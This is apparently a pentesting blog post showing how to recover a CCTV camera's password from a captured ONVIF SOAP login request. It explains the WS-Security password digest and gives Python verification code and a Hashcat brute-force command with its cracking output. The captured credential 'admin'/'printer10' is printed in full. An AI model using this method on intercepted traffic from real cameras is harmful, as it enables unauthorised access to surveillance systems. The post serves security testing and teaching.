[Pentesting] ONVIF (CCTV cameras) auth

Sometimes, some client may try to login to CCTV camera (here, at 192.168.100.25 address) via TCP port 80 and/or port 5000 and send something like:

POST /onvif/device_service HTTP/1.1
Host: 192.168.100.25
User-Agent: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/device/wsdl/SetSystemDateAndTime"
Content-Length: 2903
Connection: close
SOAPAction: "http://www.onvif.org/ver10/device/wsdl/SetSystemDateAndTime"

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:chan="http://schemas.microsoft.com/ws/2005/02/duplex"
xmlns:wsa5="http://www.w3.org/2005/08/addressing"
xmlns:c14n="http://www.w3.org/2001/10/xml-exc-c14n#"
xmlns:ds="http://www.w3.org/2000/09/xmldsig#"
xmlns:saml1="urn:oasis:names:tc:SAML:1.0:assertion"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"
xmlns:xenc="http://www.w3.org/2001/04/xmlenc#"
xmlns:wsc="http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512"
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"
xmlns:wsdd="http://schemas.xmlsoap.org/ws/2005/04/discovery"
xmlns:xmime="http://tempuri.org/xmime.xsd"
xmlns:xop="http://www.w3.org/2004/08/xop/include"
xmlns:ns1="http://www.onvif.org/ver10/pacs"
xmlns:tt="http://www.onvif.org/ver10/schema"
xmlns:wsrfbf="http://docs.oasis-open.org/wsrf/bf-2"
xmlns:wstop="http://docs.oasis-open.org/wsn/t-1"
xmlns:wsrfr="http://docs.oasis-open.org/wsrf/r-2"
xmlns:tab="http://www.onvif.org/ver10/authenticationbehavior/wsdl"
xmlns:tan="http://www.onvif.org/ver20/analytics/wsdl"
xmlns:tas="http://www.onvif.org/ver10/advancedsecurity/wsdl"
xmlns:tds="http://www.onvif.org/ver10/device/wsdl"
xmlns:tev="http://www.onvif.org/ver10/events/wsdl"
xmlns:wsnt="http://docs.oasis-open.org/wsn/b-2"
xmlns:timg="http://www.onvif.org/ver20/imaging/wsdl"
xmlns:tptz="http://www.onvif.org/ver20/ptz/wsdl"
xmlns:tr2="http://www.onvif.org/ver20/media/wsdl"
xmlns:trt="http://www.onvif.org/ver10/media/wsdl"><SOAP-ENV:Header><wsse:Security
SOAP-ENV:mustUnderstand="true"><wsse:UsernameToken
wsu:Id="admin"><wsse:Username>admin</wsse:Username><wsse:Password
Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">hMc7ewNEo+0VhiLla7sSeZbUSjc=</wsse:Password><wsse:Nonce
EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">bn2yZzVhAU6kRxIQFnCVZXPqaxM=</wsse:Nonce><wsu:Created>2025-02-16T22:06:06Z</wsu:Created></wsse:UsernameToken></wsse:Security></SOAP-ENV:Header><SOAP-ENV:Body><tds:SetSystemDateAndTime><tds:DateTimeType>Manual</tds:DateTimeType><tds:DaylightSavings>false</tds:DaylightSavings><tds:TimeZone><tt:TZ>GMT+02:00</tt:TZ></tds:TimeZone><tds:UTCDateTime><tt:Time><tt:Hour>22</tt:Hour><tt:Minute>6</tt:Minute><tt:Second>6</tt:Second></tt:Time><tt:Date><tt:Year>2025</tt:Year><tt:Month>2</tt:Month><tt:Day>16</tt:Day></tt:Date></tds:UTCDateTime></tds:SetSystemDateAndTime></SOAP-ENV:Body></SOAP-ENV:Envelope>

Let's tidy up (format) most important (for us) fields ("xmllint --format fname.xml"):

    <SOAP-ENV:Header>
        <wsse:Security SOAP-ENV:mustUnderstand="true">
            <wsse:UsernameToken wsu:Id="admin">
                <wsse:Username>admin</wsse:Username>
                <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">hMc7ewNEo+0VhiLla7sSeZbUSjc=</wsse:Password>
                <wsse:Nonce EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">bn2yZzVhAU6kRxIQFnCVZXPqaxM=</wsse:Nonce>
                <wsu:Created>2025-02-16T22:06:06Z</wsu:Created>
            </wsse:UsernameToken>
        </wsse:Security>
    </SOAP-ENV:Header>

We need username, password digest, nonce and date. Nonce is random and password digest is calculated like: base64 encode(sha1(base64 decode(nonce) + date + password)).

It's all explained in the OASIS Standard 200401, March 2004.

In our case, the username is "admin", the password digest (base64-encoded) is "hMc7ewNEo+0VhiLla7sSeZbUSjc=", the nonce (base64-encoded too) is "bn2yZzVhAU6kRxIQFnCVZXPqaxM=" and the date is "2025-02-16T22:06:06Z".

In our case, the packet I use here is real, and the password is known to me: 'printer10'.

The following Python code is what may be used on client and server:

#!/usr/bin/env python3

import hashlib, sys, base64, binascii

date=b"2025-02-16T22:06:06Z"
nonce=base64.b64decode("bn2yZzVhAU6kRxIQFnCVZXPqaxM=")
print ("nonce", binascii.hexlify(nonce))
print ("date", binascii.hexlify(date))

m=hashlib.sha1()
m.update(nonce+date+("printer10".encode('utf-8')))
print ("digest - our result", m.hexdigest())

digest=base64.b64decode("hMc7ewNEo+0VhiLla7sSeZbUSjc=")
print ("digest - from packet", binascii.hexlify(digest))
nonce b'6e7db2673561014ea44712101670956573ea6b13'
date b'323032352d30322d31365432323a30363a30365a'
digest - our result 84c73b7b0344a3ed158622e56bbb127996d44a37
digest - from packet b'84c73b7b0344a3ed158622e56bbb127996d44a37'

It can be cracked using Hashcat.

Nonce and date is encoded in hex, password digest is used here too:

hashcat 84c73b7b0344a3ed158622e56bbb127996d44a37 -m 100 -a 3 --hex-charset "6e7db2673561014ea44712101670956573ea6b13323032352d30322d31365432323a30363a30365a?l?l?l?l?l?l?l3130"

Mode 100 is for SHA1.

It's very slow, probably due to Hashcat misoptimizations. (Maybe due to the long hex prefix?) This is why I used easier mask: "?l?l?l?l?l?l?l3130" (with "10" digits at the end). (Maybe Hashcat developers will fix this?)

But what we've got is:

84c73b7b0344a3ed158622e56bbb127996d44a37:$HEX[6e7db2673561014ea44712101670956573ea6b133230323
52d30322d31365432323a30363a30365a7072696e7465723130]

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 100 (SHA1)
Hash.Target......: 84c73b7b0344a3ed158622e56bbb127996d44a37
Time.Started.....: Tue Nov 25 17:01:59 2025 (3 secs)
Time.Estimated...: Tue Nov 25 17:02:02 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: 6e7db2673561014ea44712101670956573ea6b13323032352d30322d31365432323a30363a
30365a?l?l?l?l?l?l?l3130 [49]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  3207.5 kH/s (0.65ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8699904/8031810176 (0.11%)
Rejected.........: 0/8699904 (0.00%)
Restore.Point....: 8687616/8031810176 (0.11%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[6e7db2673561014ea44712101670956573ea6b13323032352d30322d31365432323a3
0363a30365a636866667465723130] -> $HEX[6e7db2673561014ea44712101670956573ea6b13323032352d3032
2d31365432323a30363a30365a72707a7a7365723130]
Hardware.Mon.#1..: Temp: 68c Util: 53%

Let's decode that hex string:

#!/usr/bin/env python3

import hashlib, sys, base64, binascii

print (binascii.unhexlify("6e7db2673561014ea44712101670956573ea6b13323032352d30322d31365432323a30363a30365a7072696e7465723130"))

This is the nonce, the date and the password:

b'n}\xb2g5a\x01N\xa4G\x12\x10\x16p\x95es\xeak\x132025-02-16T22:06:06Zprinter10'

(the post first published at 20251128.)


List of my other blog posts. Subscribe to my news feed,
If you enjoy my work, you can support it on patreon.
Some time ago (before 24-Mar-2025) there was Disqus JS script for comments. I dropped it --- it was so motley, distracting, animated, with too much ads. I never liked it. Also, comments din't appeared correctly (Disqus was buggy). Also, my blog is too chamberlike --- not many people write comments here. So I decided to switch to the model I once had at least in 2020 --- send me your comments by email (don't forget to include URL to this blog post) and I will copy&paste it here manually.
Let's party like it's ~1993-1996, in this ultimate, radical and uncompromisingly primitive pre-web1.0-style blog and website. This website is best viewed under lynx/links/elinks/w3m.
Or use my zulip for feedback.